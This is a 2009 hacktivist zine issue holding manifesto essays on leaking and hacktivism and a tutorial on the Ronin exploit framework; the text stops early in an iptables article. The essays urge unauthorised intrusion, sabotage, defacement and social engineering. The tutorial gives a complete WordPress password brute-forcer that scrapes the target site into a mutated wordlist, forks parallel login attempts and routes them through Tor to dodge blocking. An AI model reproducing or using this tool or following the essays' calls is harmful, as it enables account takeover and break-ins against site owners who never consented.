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Hack This Zine Issue 08
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WWK# | ___ \ | | (_)/ _| | | KKW
WWK# | |_/ / ___ __ _ _ _| |_ _| |_ _ _| | KKW
WWK# | ___ \/ _ \/ _` | | | | __| | _| | | | | KKW
WWK# | |_/ / __/ (_| | |_| | |_| | | | |_| | | KKW
WWK# \____/ \___|\__,_|\__,_|\__|_|_| \__,_|_| KKW
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WWK# |_ _| | | | | | | KKW
WWK# | | ___ ___| |__ _ __ ___ | |_ _ ___| |_ KKW
WWK# | |/ _ \/ __| '_ \| '_ \ / _ \| | | | / __| __| KKW
WWK# | | __/ (__| | | | | | | (_) | | |_| \__ \ |_ KKW
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_ _ _ _______ _ _ _______
| | | | | | |__ __| | (_) |___ (_)
| |__| | __ _ ___| | __ | | | |__ _ ___ / / _ _ __ ___
| __ |/ _` |/ __| |/ / | | | '_ \| / __| / / | | '_ \ / _ \
| | | | (_| | (__| < | | | | | | \__ \ / /__| | | | | __/
|_| |_|\__,_|\___|_|\_\ |_| |_| |_|_|___/ /_____|_|_| |_|\___|
___ ___
/ _ \ / _ \
__ _| (_) | | | |
\ \ / /> _ <| | | |
\ V /| (_) | |_| |
\_/ \___(_)___/
################################################################################
# ISSUE 8: FALL OF 2009 #
################################################################################
= TABLE of (Dis)-Contents =
---------------------------
hackbloc@zinedevbox:~/zine$ tree
.
|-- News_and_Events
| |-- Intro
| `-- Behind_Schedule
|
|-- Theory
| |-- Leak_Everything_Leak_It_Now
| |-- Power_Of_Hacktivism
| |-- Ronin_A_Brief_Intro
| |-- IPTables_Network_Auditing_With_Evoltech
| |-- Hot_Piping_Cofee_Enema
| |-- Technology_and_Anarchism
| `-- Anti_(C)opywritten
|
|-- How_Tos
| |-- Protect_Web_Folders
| |-- RFI_Rooting_Tutorial
| |-- GLF_Binwriting_Protocol
| `-- Digesting_Shellcode_Like_A_Mollusk
|
`-- Misc
|-- Letters_to_the_Editor
`-- Shoutz and Greetz
/*******************************************************************************
* anti-(C)opyright 2009 *
* *
* This zine is anti-copyright: *
* You are encouraged to Reuse, Reword, and Reprint everything in this *
* zine as you please. *
* *
* This includes: *
* Printing your own copies to distribute to friends and family, *
* copying and pasting bits of text in your own works, mirroring *
* electronic copies to websites and file sharing services, or anything *
* else you can think of... *
* *
* ...Without asking permission or apologizing! *
*******************************************************************************/
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# ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ #
# ||N |||E |||W |||S ||||A |||N |||D ||||E |||V |||E |||N |||T |||S || #
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# |/__\|/__\|/__\|/__\||/__\|/__\|/__\||/__\|/__\|/__\|/__\|/__\|/__\| #
# #
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_ _ _ _ _ _ _ _ _ _ _ _
/ \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \
( I | n | t | r | o | d | u | c | t | i | o | n )
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
HackThisZine is different from other magazines... as you probably have guessed,
but rather than state what you already know, wed like to delve into the
background, the history of HTZ. What started several short years ago under the
influence and initiation of a few individuals, has grown to be an inspiration,
and an information source for many. Some people have found it lacking content
or lustre, while yet others have found it inspiring, and further yet others
found it incriminating. While we cant guarentee you wont get questioned for
carrying an issue of HTZ, we can guarentee youll learn a lot from it. The main
thing to realize here is this is not just one persons project. We are a living,
breathing community, and we thrive on knowledge. We love to learn, and teach,
and believe that everyone has the right to participate in a intimidation-free
form of education. We are always glad to hear from you, whether its comments,
questions, or constructive criticisms.
- OUR MISSION -
Our mission is to research, create and disseminate information, tools, and
tactics that empower people to use technology in a way that is liberating.
We support and strengthen our local communities through education and action.
We strive to learn from each other and focus our skills toward creative goals,
to explore and research positive hacktivism, and to defend a free internet
and free society.
################################################################################
_ _ _ _ _ _ _ _ _ _ _ _ _ _
/ \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \
( B | e | h | i | n | d ) ( S | c | h | e | d | u | l | e )
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
We at HackThisZine try our best to reliably bring you great content, at a
reasonable frequency, while we have tried to make this a quarterly zine in
the past, clearly we are way off base with this issue. A lot of work has gone
into the creation of this zine, and it took us way passed the due date.
This compilation of works may be made by nerds, but we are people too!
We do have lives... some of us :). If you would like to ensure that other
issues of the zine are more up-to-date and on track, join the mailing lists,
start talking, and well be glad to share the excitement with you.
So, without further ado, we give you the 8th issue HackThisZine.
################################################################################
# ____ ____ ____ ____ ____ ____ #
# ||T |||H |||E |||O |||R |||Y || #
# ||__|||__|||__|||__|||__|||__|| #
# |/__\|/__\|/__\|/__\|/__\|/__\| #
# #
################################################################################
_ _ _ _ _ _ _ _ _ _ _ _ _ _
/ \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \
( L | e | a | k ) ( E | v | e | r | y | t | h | i | n | g )
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
_ _ _ _ _ _ _ _ _ _
/ \ / \ / \ / \ / \ / \ / \ / \ / \ / \
( L | e | a | k ) ( i | t ) ( N | o | w | ! )
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
Wikileaks is an amazing project. It has enabled people all across the world to
share information that is blocked from disclosure and the scrutiny of the
public eye. Even though its still in the beta stages, its published thousands
of pages of these censored or classified documents that have come from
corporations, governments, and the worlds richest banks. Leaking isnt just
about transparency, its also about power. Theres something inherent in the
design of Wikileaks in that its in total opposition to the system of oppression
that controls us in daily life.
Hierarchy relies on lies and obscurity to exist. Those on the bottom must
believe either through false belief or through lack of access to information that
they are powerless to change their situation. Wikileaks smashes through this
basic fact and enables anyone, no matter their position, to help with the global
process of leaking sensitive information that keeps us all in chains.
The thing that power hates most is to be ignored. At least when a group is
pressuring a government, they are acknowledging its power. When groups refuse
to acknowledge the power of the state or of capital or the law, the strong arm
comes out of hiding. It is the failure to acknowledge power structures that
makes anarchist organizing so effective. When people ignore the power of the
state, they make rulers, bureaucrats, and citizens alike shit their pants
which gains them whatever they are looking for.
Wikileaks is a complete ignorance of power. Wikileaks does not care what law
is broken in the process of leaking a document or which country they will be
forbidden from traveling to in order to give talks. The leak itself does not
care that it's illegal, it's only information and its only desire is to be free.
If we are to free ourselves from our chains and if we are going to shut down
those with control, we are going to need intelligence. We are going to need to
know how they operate, who they are, how they react to certain situations,
where they are, where they go, and much much more. Most of what we need to know
is written down somewhere. Lets seek it out, find it, and leak it regardless
of whether we think it can be useful or not. It may be useful for somebody
somewhere and for that reason it must be leaked as long as it wouldnt pose
a risk to somebodys safety. The whole process of secrecy is nothing more than
a system to maintain power. If something that is secret gets leaked, the owner
of that document loses some type of power. Therefore, we must subvert that power
by leaking everything and leaking it now!
Find it, scan it, upload it.
Even if Wikileaks wont take it, put it up somewhere else.
################################################################################
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
/ \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \
( P | o | w | e | r ) ( O | f ) ( H | a | c | k | t | i | v | i | s | m )
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
On November 30th, I will be thinking about the 10-year-anniversary of the G8
protests in Seattle. Looking back, I think we can see the battle in Seattle
as a tactical success. A success in making a point, making a presence, and
fighting back, even if only for a little while. Seattle was when the media found
out about this group, this organization, the black bloc. However the media
misunderstood the crucial principle of the black bloc; a central and largely
united set of techniques and, to a lesser extent, ideals. An acceptance of
outright battle with the state, through civil and violent disobedience. We wear
black because we are all one- no individual to be identified by police (a tactic
brightly-colored backpack wearing black-clad fellows seem ignorant to).
Yet what about us hacktivists? What major success can we point out to the past
10 years? None. Hundreds of DDoS attacks, hundreds of defacements, hundreds of
wrenches in the networks of the upper class, the servers of corporations, and the
various ill-constructed machines of globalization and capitalism. Yet our effect
as hacktivists is largely, and disappointingly, negligible.
Hacktivism has yet to present an even vaguely unified method, tactic, or
ideology. There is something to be said about the current state of hacktivism
where the most memorable political hack in recent memory is the, largely botched,
hack of Sarah Palins email. Conducted on 4chan, we saw the opposite side of
Torvalds idea of many eyes. It turns out that extra eyes can squash bugs
faster, but they can also squash hacks faster, as was attempted when a self-
styled do-gooder attempted to reset the password of the account as other
hackers were extracting information. What a wonderful opportunity squandered.
We as hacktivists need to be constantly aware of the ebb and flow of the worlds
politics, and secondly, its media. We are blessed that we live in this early
world of the Internet, where everything is still being figured out, all the
rules are still being written.
Every year that passes security grows stronger. Young, would-be hacktivist minds
are bought and put to use building- what will no doubt-be- increasingly
well-designed security systems. We, as hackers, will always be a threat. However,
I feel it is crucial to take advantage of our present tactical situation of
technical equality, if not superiority, to the biggest and baddest and strongest
in the world of capitalization and globalization.
Have you noticed that the boat has been rocking back and forth a bit lately?
Beneath the rattling and screeching of the mainstream medias take on our
recession, we can see real change. We must be real change. The system is
cracking a little bit, right now, right under our noses. It is our job and our
prerogative to pry open those cracks and piss in them. Every day, we should,
independently, or in small groups, poke at another and another and another big
system. The problem is not that we are out-gunned or outsmarted, because we
arent. The problem is that we are greedy. We throw up a witty defacement, or
delete a crucial system, we do not think for the long-term goals, or even
medium-term goals. Too often, I find, hackers are overeager, and that leads us
to make silly wasteful decisions.
We should be saboteurs, we should be smarter. We should hold our knowledge close.
We should collect our exploits, treasure them, but leave them be. We should use
our opened eyes and ears to find the best time to manipulate a system. Save the
forkbomb in the corporate email server until a time it will be most politically
effective. Wait to deface a right-wing news website until an unusual amount of
people are drawn to it. Look at the enemy and understand their ebb and flow,
and you can amplify your effectiveness in communicating a political ideology.
We must see ourselves not only as saboteurs, but also as performers, graffiti
artists, and infiltrators. The best hacks are the subtle ones. We should be
using our place of power- our element of surprise, to better infiltrate the
brains of the confused. Too many of our would-be allies are confused, only
because they have been fed unhealthy ideas. We forget there are many people who
have, not for a second, ever stopped to listen to the ideas we base our actions
on. We are lucky, we often have the power of truth on our side when making
convincing arguments. Use stolen access to slowly push your agenda. Social
engineer yourself to a place of power within an organization, and use that
positioning to disrupt, or even better, to confuse and/or educate a group of
people. Let us all spend more time a day poking around places we shouldnt be.
Let us all spend more time remembering default usernames and passwords. Let us
all spend more time researching maiden names and pets. Let us all spend more time
poking at the electronic underbelly of any corporation, person, and organization
that is an enemy of equality, truth, and anarchy. Let us not forget that the
global capitalist machine has been humbled in the past few months.
The bankers are stumbling, the brown tip of the bullshit iceberg has surfaced,
and newly aware, the world does not like the stench. Let us use our skill to kick
the pricks while theyre down. Tear up their networks. Rename their contacts.
Cut their keyboard wires. Smash their windows. Brick their blackberries. Or,
write about people who do.
Document, comment, distribute and fight back however and whenever you can.
by Truth aka EJ Fox
################################################################################
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
/ \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \
( R | o | n | i | n | , ) ( A ) ( B | r | i | e | f ) ( I | n | t | r | o )
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
Dave Bowman: Open the pod bay doors, HAL.
HAL: Im sorry, Dave. Im afraid I cant do that.
Dave Bowman: Whats the problem?
HAL: I think you know what the problem is just as well as I do.
ronin add --git git://github.com/postmodern/postmodern-overlay.git
ronin ronin>> pod_bay_door.open
HAL: Daisy, Daisy, give me your answer do...
- 2001: A Space Odyssey (partialy remixed)
Ronin is a Ruby platform for exploit development and security research. Ronin
allows for the rapid development and distribution of code, exploits or payloads
over many common Source-Code-Management (SCM) systems. [2]
GETTING STARTED WITH RUBY:
With ronin being an exploit development framework written in Ruby it should
go with out saying that you are going to have to learn Ruby. If you dont
already know a programming language, Ruby is a fine one to start with [1].
If you dont know Ruby yet, but know other languages, its time to jump on the
bandwagon. If you havent noticed already all exploit development is moving
away from Perl and other languages like C (I know I am gonna get flamed for this
one), and into python and ruby. Wether you are new to programming or just new
to the language, following through Ronin code will be a good introduction to
Ruby, because Postmodern, the author, goes to painstaking lengths to follow
Ruby best practices.
GEMS ETC:
There is good documentation on the Ronin site [2] for installing the whole
suite of Ronin libraries [3]. After you get Ruby installed you are going to
install the ruby gems library [4]. RubyGems is a package management system for
Ruby gems (aka libraries, plugins, modules, classes, extensions) that allows
you to install, update, and query the gems installed on your system. Ronin
itself is a gem, as well as its additional libraries; ronin-web, ronin-php,
ronin-dorks, ronin-sql, ronin-scanners, ronin-exploits, etc. If you want to be
using the latest and greatest (read most buggy) version of ronin and friends you
will need to use the versions from github.com. Gems are released from the code
base on GitHub once they have reached a certain quality or external demand
(essentially at postmoderns discretion). Installing ronin, or a ronin library,
is as simple as :
<code>
sudo gem install ronin
</code>
Interacting with your gem installation might look like:
<code>
# list all ronin gems installed on your system
evoltech@jwaters:~/src/htz$ gem list ronin
*** LOCAL GEMS ***
ronin (0.2.4, 0.2.3, 0.2.2)
ronin-dorks (0.1.1)
ronin-exploits (0.2.0)
ronin-gen (0.1.0)
ronin-php (0.1.1)
ronin-scanners (0.1.4)
ronin-sql (0.2.2)
ronin-web (0.1.2)
# Update all of the installed gems on your system
evoltech@jwaters:~/src/htz$ sudo gem update
Updating installed gems ... Gems updated: ronin-dorks, ronin-exploits,
ronin-gen, ronin-web, ronin-php, ronin-sql, rspec, rubyforge,
term-ansicolor
</code>
Ronin and Git[hub] [5] Ronin development and collaboration is done with the
Git source code management (SCM) system. github.com is used to host the
authoritative remote repositories. By creating a GitHub account and forking one
of the ronin repositories for your development needs, you will be integrating
into the ronin development community. This will allow core ronin developers
to use Git and GitHubs features to accept contributions. Using Git with ronin
is well documented on the ronin website [5]. If you are working with a copy of
Ronin and or Ronin libraries from their Git repository and also have the related
gems installed on your system, you will need to distinguish between the Git copy
from the installed gem. Safely using the most recent version (from github.com)
can be accomplished by incrementing the VERSION constant in the related
version.rb file, then either re-rolling and installing a new gem, or by
including the package from the command line with irb [6]. Rubys default
behavior when requiring a new class is to include the most recent version as
denoted by a libraries VERSION constant. Postmodern makes this easier for people
working with both gems and git versions by always incrementing the version number
in the git source after there is a new gem released. This makes it so that the
git source version will always be greater then the gem version. You can always
verify the version you are working with by:
<code>
irb> puts Ronin::VERSION
</code>
A side note is that Ronin may use Edge (release candidates, beta versions, etc)
versions of different libraries. Most gems you use will be fetched from the
default gem repository rubyforge.org. In order to install a gem on the edge you
will have to find where the Edge versions are hosted. In most cases this will be
github or the projects website (the gem source code hacking example below is
made simpler with the scripts from the drnic-github gem [9]).As an example, in
Ronin 0.2.5 a version of datamapper is required where the edge gem
(dm-core >=0.10.0) is located in a non-default repo. On top of this there was
some migration from rdoc to yard packages for documentation management with
patches pending to dm-core. To install this repo you will have to:
<code>
sudo gem source --add http://gems.datamapper.org/
git clone git://github.com/postmodern/dm-core.git
cd dm-core git checkout -b next --track origin/next git pull rake gem
sudo gem install pkg/dm-core-0.10.0.gem
sudo gem update
</code>
This being said, it is possible that your environment will need to be updated
when working with the development versions (hosted at github). Before you start
using the new ronin code you are going to want to run the test suite to make
sure everything checks out on your box. This example shows testing a new version
of ronin; but is applicable to the other ronin libraries as well.
<code>
cd ronin grep VERSION
lib/ronin/version.rb VERSION = 0.2.5
rake spec
# If you get errors here check that you have all the dependencies met.
# Make sure you have the dependencies specified in the self.extra_deps
# array.
cat Rakefile
</code>
Rolling the new gem from the git source you just checked out can be done as for
dm-core above:
<code>
git clone git://github.com/postmodern/ronin.git
cd ronin rake gem
sudo gem install pkg/ronin-0.2.5.gem
</code>
If instead you want to just load the library in from the command line when
working with irb you can simply add all the additional include files from
your local repos with:
<code>
pwd ~/src/ronin irb -I
./lib irb> require ronin
irb> Ronin::VERSION => 0.2.5
</code>
If you plan on working with a development branch of ronin you should check in
at #ronin on irc.freenode.net and possibly join the google group at
http://groups.google.com/group/ronin-ruby.
OVERLAYS IN RONIN:
Overlays are a way of distributing extra bits of code that make use of the
ronin framework. Examples of this can be misc tools for exploit development,
penetration testing, and exploits themselves. Overlays can include libraries
(extensions in ronin speak) that can then be used by other overlays so that,
like in UNIX, one tool can be stringed together with another tool. The concept
of overlays is what seperates Ronin from other exploit development frameworks
as this is where the decentralized sharing aspect comes in. You can design
tools that leverage ronin and make them public, or share them only with in your
affinity group.
Overlays are organized in ronin via the Platform, which is essentially just a
local cache (~/.ronin) of your installed overlays. An overlay is managed in the
following way:
<code>
ronin list ronin add git://github.com/postmodern/postmodern-overlay.git
ronin update postmodern-overlay
# Remove the local entry and delete the associated files.
ronin uninstall postmodern-overlay
# Remove the local entry for the overlay, but dont delete the files.
ronin remove postmodern-overlay
</code>
OVERLAY VERSIONS:
Overlays are managed by Ronin::Platform. This section of code describes the
Overlay API; file structure, recognized format of ronin.xml. In the following
example we will be using an overlay called postmodern-overlay hosted at
git://github.com/postmodern/postmodern-overlay.git. This overlay version will
change as Ronin::Platform gets updated and may not always be compatible with
the gem version of Ronin. As of Ronin 0.3.0 if you want to use a compatible
version of postmodern-overlay you will have to check it out with the
ronin-0.3.0 tag:
<code>
git clone git://github.com/postmodern/postmodern-overlay.git
cd postmodern-overlay git checkout -b ronin-0.3.0
--track origin/ronin-0.3.0
</code>
By the time this hits the press a new version of Ronin::Platform will be out,
that implements overlay versioning and can raise a warning when an incompatible
Overlay is being used [7].
USING OVERLAYS:
Overlays, like all other parts of the Ronin framework, can either be used from
the Ronin Console or from a standalone script. After an overlay is installed in
your environment and the Ronin Console is loaded the Overlay Cache will be
loaded with all of the overlays installed on your system.
<code>
ronin>> Platform.overlays.names => [postmodern-overlay]
ronin>> Platform.extension_names =>
[dumpster, milw0rm, spec, twitter]
</code>
You are going to look through the code of the extensions in postmodern-overlay
because there are some interesting tools in there that show the ease of writing
code capable of heavy lifting in a few lines. Making use of the overlays is made
overly simple since the extension names are added directly into the local
namespace:
<code>
ronin>> milw0rm.remote.latest.title
</code>
The overlays and associated extensions can also be used in standalone scripts as
you might expect. The following example shows how the milw0rm extension
in the postmodern-overlay can be used to search milw0rm.org/remote for exploits
matching a certain pattern in their title and print the exploit to the screen.
Obviously, this is only to show how this can be done as it would be much quicker
to use the ronin-dorks library ie.
<code>
ronin>> puts Web::Dorks.search(:site => milw0rm.org/remote,
: query => ftp).page(1).summaries
</code>
<code>
#!/usr/bin/env ruby
require pp
require ronin
require optparse
require ostruct
include Ronin
options = OpenStruct.new
options.verbose = false
options.date = Date.today-90
options.subject = nil
begin
OptionParser.new do |opts|
opts.banner = Usage: getAllWpExploits.rb [options]
opts.on(-v, --[no-]verbose, Run verbosely) do |v|
options.verbose = v
end
opts.on(-d <date>, Specify the <date> that exploits must be newer
than.) do |d|
options.date = Date.parse(d)
end
opts.on(-s <subject>, Specify the <subject> that exploit must match.)
do |s|
options.subject = s
options.subject_re = /#{s}/i
end
if (!defined? options.subject)
puts opts
puts options.subject
raise OptionParser::MissingArgument, A subject to search for is
required, caller
end
end.parse!
rescue OptionParser::MissingArgument
puts $!
exit
end
def findRemoteExploit(re, date)
if (!re.instance_of? Regexp)
raise ArgumentError, First argument is not a Regexp, caller
end
if (!date.instance_of? Date)
raise ArgumentError, Second argument is not a Date, caller
end
start = 0
dont_bail = true
while page = Platform.milw0rm.remote[start]
page.each { |exploit|
# Check if it is older than the date. We assume that the exploits are
pulled
# sorted by date so if we find one with a date greater than date we
# bail.
if (exploit.date < date)
dont_bail = false
break
end
# Check if the title matches re.
next unless exploit.title =~ re
# It looks like the milw0rm extension doesnt parse title
puts exploit.date.strftime(%Y-%m-%d) +, + exploit.title
# Get the exploit.
puts exploit.body
}
if (!dont_bail)
break
end
start = start.succ
end #while
end #find
puts Looking for any remote exploit matching #{options.subject_re.
inspect} in the title posted after
puts #{options.date.strftime %Y-%m-%d} on milw0rm.org
findRemoteExploit(options.subject_re, options.date)
puts Done.
</code>
Debbi: Fuck this shit lets go do some crimes.
Duke: Yeah. Lets go get sushi and not pay.
- Repo man You are probably tired or all the talk by this point and would
like to see an attack on an actual target. Well your not going to get it,
but what I will give you is an attack on a hypothetical target.
In this issue I am going to cop out with a dictionary attack on
attack on a wordpress site, but next issue we will cover porting code from
milw0rm and other frameworks like metasploit, and multi-level attacks using
ronin. Since plain old dictionary attacks on websites are so boring we will try
and improve our chances by first scraping a site for all words then mutating
those words to provide a wordlist. After this is done we will spawn off a bunch
of jobs to try and log into the site. This process is made simple with yet
another gem, written by our good friend postmodern and maintained by the SophSec
crew, called wordlist [8]. The assumption is that most dictionaries will have way
too many words to try all of them, but the selection of words on a website may
comprise a smaller dictionary that contains a word that may be used as the admin
password, possibly with some mutations. Another problem is that password attacks
on a website are slow if you follow the HTTP standard and not make more than 2
requests to the same domain at a time, but why would we follow that rule?
Well fork as many as we need. And of course we dont want our sysadmin on the
other end to have it easy and be able to whitelist a single ip, so well run the
whole damn thing through tor (now they could just block tor which would be a
bummer).
<code>
#!/usr/bin/env ruby
require ronin/web
require optparse
require ostruct
require wordlist/builders/website # http://github.com/sophsec/wordlist
require wordlist
require logger
include Ronin
class App
VERSION = 0.0.1
attr_reader :options
def initialize (arguments)
@arguments = arguments
@options = OpenStruct.new
@options.verbose = false
@options.host = nil
@options.word_list = nil
@options.file = list.txt
@options.threads = 10
@options.path = /wp-login.php
@options.user = admin
@opts = nil
@mutations = {
a => @, a => 4, A => @, A => 4,
b => 8, B => 8,
c => (, C => (,
e => 3, E => 3,
g => 6, G => 6,
i => 1, I => 1, i => |, I => |, i => !,
I => !,
l => 1, L => 1, l => !, L => !,l=>|,L=>|,
o => 0, O => 0,
s => 5, S => 5,
t => 7, T => 7, t => +, T => +,
}
file = File.open(smartBruteForceWP.log, File::WRONLY |
File::APPEND)
@options.logger = Logger.new(file)
@options.logger.level = Logger::DEBUG
end
def run
if parsed_options?
# @todo Before we build the word list lets verify that we have a vaild
# path for login and confirm that that the user we are using is valid
# This can be accomplished be checking the returnvalue of logging in
# with one character for the pass and the user and seeing if the
# response is Invalid username vs Invalid password.
# Generate the wordlist. We want words greater than 5 characters
# and less then 15. We would also like to perform some l33t speak
# mutations on the words.
@options.logger.debug(#{Process.pid}: Generating wordlist (#{options.
file}) from #{options.host})
ws = Wordlist::Builders::Website.build(
@options.file, { :host => @options.host})
@options.logger.debug(#{Process.pid}: Building a wordlist from
(#{options.file}))
list = Wordlist::FlatFile.new(@options.file,
{:max_length => 15, :min_length => 5})
@options.logger.debug(mutating list with #{@mutations.inspect})
build_mutations! list
# Create a bunch of processes for contacting the target site and trying
# to log in with our word. Bail on success.
pids = []
wordct = 0
url = http:// + options.host + options.path
@options.logger.debug(Brute forcing #{url} with #{@options.
threads} threads)
query = {:log => options.user, wp-submit => Log In}
list.each_mutation do |word|
wordct = wordct.succ
# Only allow options.threads to run at once
if pids.size >= @options.threads.to_i
pid = Process.wait
if ($?.exitstatus == 1)
exit
end
pids.delete pid
end
pids << fork {
query[:pwd] = word
@options.logger.debug(#{query.inspect})
if Ronin::Web.post(url, :query => query).parser.css(#login_error).
size == 0
# Now it is safe to bail on all the threads.
puts username:#{options.user}, password:#{word}
exit 1
end
}
end
pids.each do |pid|
Process.waitpid pid
if ($?.exitstatus == 1)
exit
end
end
puts Tried #{wordct} passwords and was unable to login.
else
output_usage
end
end
#protected
def build_mutations! list
@mutations.each do |key, val|
list.mutate key, val
end
end
def parsed_options?
begin @opts = OptionParser.new
@opts.banner = Usage: smartBruteForceWP.rb [options]
@opts.on(-v, --[no-]verbose, Run verbosely) { |v|
@options.verbose = v }
@opts.on(-t=THREADS, Specify the number of concurrent
requests we should make.) { |t|
@options.threads = t }
@opts.on(-p=PATH, Specify the PATH to wp-login.php.) { |p|
@options.path = p }
@opts.on(-u=USER, Specify the USER to login as.) { |u|
@options.user = u }
@opts.on(-s=SITE, Specify the <site> to brute force.) { |s|
@options.host = s }
@opts.parse!
if (@options.host.nil?)
raise OptionParser::MissingArgument,
A subject to search for is required, caller
end
rescue OptionParser::MissingArgument
puts $!
return false
end
true
end
def output_usage
puts @opts
end
end
app = App.new ARGV
app.run
</code>
You may want to experiment with running this code through a the torify command
to make sure all of the requests dont come from the same ip. The default
number of child processes to generate is configurable via the -t option, but
the default is 10 processes.
<code>
torify ruby ./smartBruteForce.rb -s wp28.com -t 100 -u admin
</code>
The HTZ 8 zine subversion repository [9] contains a much larger mutation file
and will be the location for any updates and branches to this application.
THANKS:
Postmodern for doing a lot of hand holding with me through the code and getting
me up to speed with all that is ruby and git. Double thanks for the quick turn
around on the wordlist lib http://houseofpostmodern.wordpress.com
Sbit for providing QA for Ronin, especially for the ronin-0.3.0 release,
debian installation, and AWESOME.times!
300 http://www.google.com/profiles/sanitybit
- References -
[1] Pickaxe - The name given to _the_ Ruby language documentation. A
site hosting the book with a nice browseable TOC and Index all in frames is
here: http://www.rubycentral.com/book/.
[2] Ronin -
The main site for the Ronin project: http://ronin.rubyforge.org/.
[2.a] ronin.rubyforge.org on GitHub - The code base for the main Ronin
site is a custom CMS written by postmodern as a set of XML files that is
compiled (It is totally perverted, but easily allows others to contribute)
with Ruby rake files. The site source can be cloned through GitHub here:
http://github.com/postmodern/ronin.rubyforge.org/
[3] Installing Ronin on Debian - Detailed instructions for getting the
Ronin (and Ruby) code base on a Debian computer. If your installation steps
are significantly different than what is here, please write them up and submit
them to the documentation project [2.a].
http://ronin.rubyforge.org/howtos/ronin_on_debian.html
[4] RubyGems -
The premier Ruby packaging system: http://rubygems.org.
[5] Ronin and Git[hub] - Detailed documentation for using git to hack on
Ronin is available here: http://ronin.rubyforge.org/contribute/
[6] IRB - The Interactive Ruby Interpreter. This is the Ruby command Line,
extended by Ronin to create the ECD (Electronic Civil Disobedience)
command line that is Ronin. More info on using Ruby IRB is here:
http://whytheluckystiff.net/ruby/pickaxe/html/irb.html
[7] Ronin Overlays - An email from postmodern on 2009-10-25 discussing
upcoming changes in Ronin::Platform.
http://groups.google.com/group/ronin-ruby/browse_frm/month/2009-10
[8] wordlist - A ruby library for generating and working with word-lists.
Project homepage - http://wordlist.rubyforge.org/
Github homepage - http://github.com/sophsec/wordlist
Postmoderns discussion of the project -
http://houseofpostmodern.wordpress.com/2009/10/21/introducing-wordlist-0-1-0/
Since this will be read on paper by a good number of people I will include a
bit of the source for this library here, because it is nothing short of code
poetry. Usage:
<code>
# Build a wordlist from a dictionary file, only selecting words between
# 5 and 15 characters.
list = Wordlist::FlatFile.new(dictionary.txt, {:max_length => 15,
:min_length => 5})
# Add the mutations you would like to be performed. This method can
# actualy do some very complex mutations.
list.mutate a, @
list.mutate e, 3
list.each_mutation do |word|
puts word
end
=> @apple, @ppl3, appl3, apple, etc
wordlist/list.rb: Wordlist::List.each_mutation
# Enumerates through every unique mutation, of every unique word, using
the mutator rules define for the list. Every possible unique mutation
will be passed to the given _block_.
#
# list.each_mutation do |word|
# puts word
# end
#
def each_mutation(&block)
mutation_filter = UniqueFilter.new()
mutator_stack = [lambda { |mutated_word|
# skip words shorter than the minimum length
next if mutated_word.length < @min_length
# truncate words longer than the maximum length
mutated_word = mutated_word[0,@max_length] if @max_length
if mutation_filter.saw!(mutated_word)
yield mutated_word
end
}]
# @mutators is a local array of Mutator objects, see below
(@mutators.length-1).downto(0) do |index|
mutator_stack.unshift(lambda { |word|
prev_mutator = @mutators[index]
next_mutator = mutator_stack[index+1]
prev_mutator.each(word,&next_mutator)
})
end
each_unique(&(mutator_stack.first))
end
wordlist/mutator.rb: Wordlist::Mutator.each
#
# Performs every possible replacement of data, which matches the
# mutators +pattern+ using the replace method, on the specified _word_
# passing each variation to the given _block_.
#
def each(word)
choices = 0
# first iteration
yield(word.gsub(@pattern) { |matched|
# determine how many possible choices there are
choices = ((choices << 1) | 0x1)
replace(matched)
})
(choices - 1).downto(0) do |iteration|
bits = iteration
yield(word.gsub(@pattern) { |matched|
result = if ((bits & 0x1) == 0x1)
replace(matched)
else
matched
end
bits >>= 1
result
})
end
return word
end
</code>
[9] An article by Dr. Nic about the find it, fork it, clone it, build it,
install it, technologic work-flow using git and rubygems.
http://drnicwilliams.com/2009/11/04/hacking-someones-gem-with-githuband-
gemcutter/
[9] HTX 8 subversion repository:
https://hackbloc.org/svn/htz/8/
Large Mutation list: https://hackbloc.org/svn/htz/8/mutations-full.txt
Smart Word Press Password Brute Forcer:
https://hackbloc.org/svn/htz/8/smartBruteForceWP.rb
################################################################################
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _
/ \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \
( I | P | T | a | b | l | e | s ) ( N | e | t | w | o | r | k )
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
_ _ _ _ _ _ _ _
/ \ / \ / \ / \ / \ / \ / \ / \
( A | u | d | i | t | i | n | g )
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
With Evoltech.
There are a number of different tools that will process logs for different
servers. Webalizer is the most all purpose solution. While webalizer and
other log parsing programs are good at generating reports on bandwidth usage
for different apps from the logs, they were really designed to give an over
view of the data from the logs. Network statistics and better retrieved from
the kernel itself. If you are looking to do any realtime work with the network
on Linux chances are high that iptables can do it somehow. Ringo said recently
(hopefully closely paraphrasing), Iptables is like that tool in your garage
that you use for one thing, but you know it can do like a million other things,
but you have lost the manual. In the process of trying to determine what new
services can be offered to the anarchist community, hackbloc staff had to
figure out what percentage of network traffic is being used by which network
daemons and how close are we to saturating our available bandwidth. This
was accomplished by setting up an Accounting chain with iptables to track\
usage by a service. This accounting table is then regularly polled with the
results pulled into our monitoring system where we get a nice graph
[Include snippets.png in article here]. Here are the steps you can use to
start collecting this information with iptables:
* Make sure you have all of the needed iptables modules for your kernel
version built on the system. lsmod will show you the modules already loaded,
